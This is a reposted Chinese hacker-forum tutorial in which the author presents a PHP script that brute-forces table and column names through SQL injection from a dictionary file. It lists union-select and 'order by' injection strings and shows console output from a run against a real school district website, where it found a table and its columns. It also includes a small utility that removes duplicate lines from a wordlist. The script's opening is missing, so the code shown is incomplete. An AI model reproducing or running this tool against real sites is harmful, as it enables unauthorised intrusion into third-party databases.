首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 专题文章

do all things in php(注入利用程序编写)


http://www.gipsky.com/
文章作者:mika[EST]

信息来源:邪恶八进制信息安全团队(www.eviloctal.com



最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下。

结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)

忽然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:

http://www.aaa.com/bbb.asp?ccc=56 3 mydict.txt



the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin



OPTIONS: -t http://www.aaa.com/bbb.asp?ccc=56 -t admin mydict.txt



Attention:if you don't use [options] the program will use default mode to work.you can change it in the source code of this program.

USAGE;

die;

}



$old=$argv[1];

file_exists($dic) or exit("dic file does not exist!\n");

$words=file($dic);

$curl=curl_init();

curl_setopt($curl,CURLOPT_HEADER,0);

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

print "[ ]Searching What you want...\n";

foreach($words as $word){

//print $word;

if(preg_match("/^\s$/",$word)){

//print "blank";

continue;

}

$url=str_replace('MIKA_NAME',trim($word),$u);

$url=$old.urlencode($url);

//$url=$old.$url;

curl_setopt($curl,CURLOPT_URL,$url);

//print "source url is:".$url."\n";

$content=curl_exec($curl);

//$new=$content;

//print $content;

if(preg_match("/$keyword/i",$content)==0){

print "[*] FOUND:".trim($word);

}

else{print ".";}

}

?>

俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:

extension_dir =

把它的值设置成你自己的,比如把压缩包接压到了c:\php里,那么你需要把它设置成:

extension_dir = "c:\php\ext"



然后再继续找到下面这段:

; Windows Extensions

; Note that ODBC support is built in, so no dll is needed for it.

; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)

; extension folders as well as the separate PECL DLL download (PHP 5).

; Be sure to appropriately set the extension_dir directive.



;extension=php_mbstring.dll

;extension=php_bz2.dll

;extension=php_curl.dll

;extension=php_dba.dll

;extension=php_dbase.dll

;extension=php_exif.dll

;extension=php_fdf.dll

;extension=php_filepro.dll

;extension=php_gd2.dll

;extension=php_gettext.dll

;extension=php_ifx.dll

看到php_curl.dll了吗?把它前面的分号去掉就可以了。然后保存一下,还没完呢,再去php的目录里找到这两个文件:

libeay32.dll

ssleay32.dll



把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)



言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:

php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt



需要注重的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判定的,所以呢,你要首先自己手工获取一下,比如你可以这样:

http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)

或者

http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520# (mysql上)



其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为要害字(nbsi等的注入工具默认是用正确页面里的东西作为判定的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的要害字就可以了。比如下面这个站吧:

http://www.elkhart.k12.in.us/content.php?id=157



由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判定注入点存在不存在,然后使用order by判定字段数,我在这里判定的是5个字段,判定好后就可以使用我的这个程序来猜了,结果如下:

F:\scripts\php\mine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id

=157 5 mydict.txt

Universal Database tables explode exploit V0.1



Written by Mika[EST]



[ ]Searching What you want...

...[*] FOUND:structure..........................................................

看到了吗?找到了一个表,呵呵。再来看看字段:

F:\scripts\php\mine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id

=157 -t structure 5 temp.txt

Universal Database tables explode exploit V0.1



Written by Mika[EST]



[ ]Searching What you want...

[*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....

..[*] FOUND:content..[*] FOUND:parent_id.........

很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。假如是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。



假如大家用得过程中出现问题可以自己去改代码,很简单的:-)



另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:

curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");



换成你的代理就好了,假如不需要代理那就直接注释掉好了。



其实猜嘛,要害还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:

<?php



if($argc!=2){

echo <<<INFO

\t\t Written By Mika[EST]\n

\t\tUsage: $argv[0] <text file>\n

INFO;

die;

}

file_exists($argv[1]) or exit("$argv[1] dose not exists!");

$txt_file=file($argv[1]);

$uniq_file=array_unique($txt_file);

$file=fopen($argv[1],"w");

fwrite($file,implode("",$uniq_file));

fclose($file);

echo "unique done!";

?>

用法非常简单,首先合并字典,比如,1.txt,2.txt,用copy命令即可:

F:\scripts\php\mine>copy 1.txt 2.txt 3.txt

1.txt

2.txt

已复制 1 个文件。



F:\scripts\php\mine>dir 3.txt

驱动器 F 中的卷是 LIB

卷的序列号是 CC4F-A32B



F:\scripts\php\mine 的目录



2007-07-13 18:50 1,474 3.txt

1 个文件 1,474 字节

0 个目录 2,166,566,912 可用字节

然后用我的这个程序处理一下:

F:\scripts\php\mine>php uniq.php 3.txt

unique done!

F:\scripts\php\mine>dir 3.txt

驱动器 F 中的卷是 LIB

卷的序列号是 CC4F-A32B



F:\scripts\php\mine 的目录



2007-07-13 18:52 1,288 3.txt

1 个文件 1,288 字节

0 个目录 2,166,566,912 可用字节

注重看文件的大小哦,嘿嘿~~~简单吧?;-)



好了,累死我了~~~到这吧,先到这里吧~~~休息~~休息~~~

我是女生,嘿嘿,快乐的女生~~~~~~
<< linux指令大全(完整篇) 哪位朋友知道怎么回事:sql server Error 1355, >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号